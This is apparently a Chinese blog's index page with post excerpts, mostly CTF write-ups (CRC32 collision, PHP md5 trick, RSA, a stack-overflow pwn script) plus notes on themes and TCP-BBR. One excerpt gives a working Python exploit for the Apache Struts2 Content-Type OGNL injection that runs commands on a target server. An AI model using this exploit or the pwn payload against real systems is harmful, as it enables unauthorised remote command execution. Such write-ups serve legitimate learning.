题目地址

第一层：CRC32 碰撞

打开题目压缩包，有三个 6 字节的文件，猜测是要根据这三个文件的 CRC32 值碰撞获得内容。

利用 脚本 碰撞得到密码：_CRC32_i5_n0t_s4f3。

Read More

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers



def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()

poc()

操作系统识别的部分好像不好使。。。

Read More

WEB

web100

扫目录得到 .index.php.swp。

<?php
$flag = $_GET['flag'];
if ($flag != '15562') {
    if (strstr($flag, 'zctf')) {
        if (substr(md5($flag),8,16) == substr(md5('15562'),8,16)) {
            die('ZCTF{#########}');
        }
    }##
}
die('ha?')
?>

Read More

Josephus 问题：假设有 n 个人围坐一圈，现在要求从第 k 个人开始报数，报到第 m 个数的人退出。然后从下一个人开始继续报数并按同样的规则退出，直至所有人退出。要求按顺序输出各出列人的编号。

Read More

Typecho 已经好久都没更新了，不知道官方的插件中心和主题中心什么时候能出，现在找一个好看点的主题真是难啊。

Mirages

也就是现在在用的主题，收费，不过代码高亮、数学公式等功能齐全，效果也很好看，挺划算的。

Read More

本来已经设置好了不把 .idea 目录加入同步，但有时候 Pycharm 还是会抽风。。。

Read More

1 题目名 Pwnme

栈溢出，可以看到存在 get_flag() 函数，构造 payload 调用它即可。
input your choice 处填入 0xA4 个字节后可以溢出，然后更改指针到 get_flag() 处。

from pwn import *
p = remote('114.215.43.119', 10001)
p.sendline('5')
payload = 'A'*0xa4 + 'B'*0x04 +  p32(0x8048677)  
p.sendline(payload)
p.interactive()

Read More

16 年年底的 4.9.0 内核中支持了 TCP-BBR 拥塞控制算法，大家都说不错，可以和锐速的效果一拼，虽然我已经有了阿里云的梯子，但折腾的心还是停不下来，花了点时间把我 DO 的 VPS 的内核也给换了，把踩到的坑写出来供大家参考。

开启 BBR

开启 BBR 教程。

Read More

今天在群里看到有人发了一个 Github Gist 链接，出于好奇我打开了它，结果就走上了一条不归路。。。

Audit Group

git clone 下来，file 一下，得到：

email: uuencoded or xxencoded, ASCII text

Read More

湖湘杯有一道题是知道 $(N, e, d)$ 求 $(p, q)$，当时用了 $ e\cdot d - 1 = h \cdot \varphi (n) $ 这个公式，爆破 $h$，考虑 $ \varphi (n) $ 与 $ N $ 相差不大，可以认为位数相同，求出 $ \varphi (n) $ 之后再根据 $ N = p\cdot q $ 和 $ \varphi(n) = (p - 1)(q - 1) $ 联立一个方程。

Read More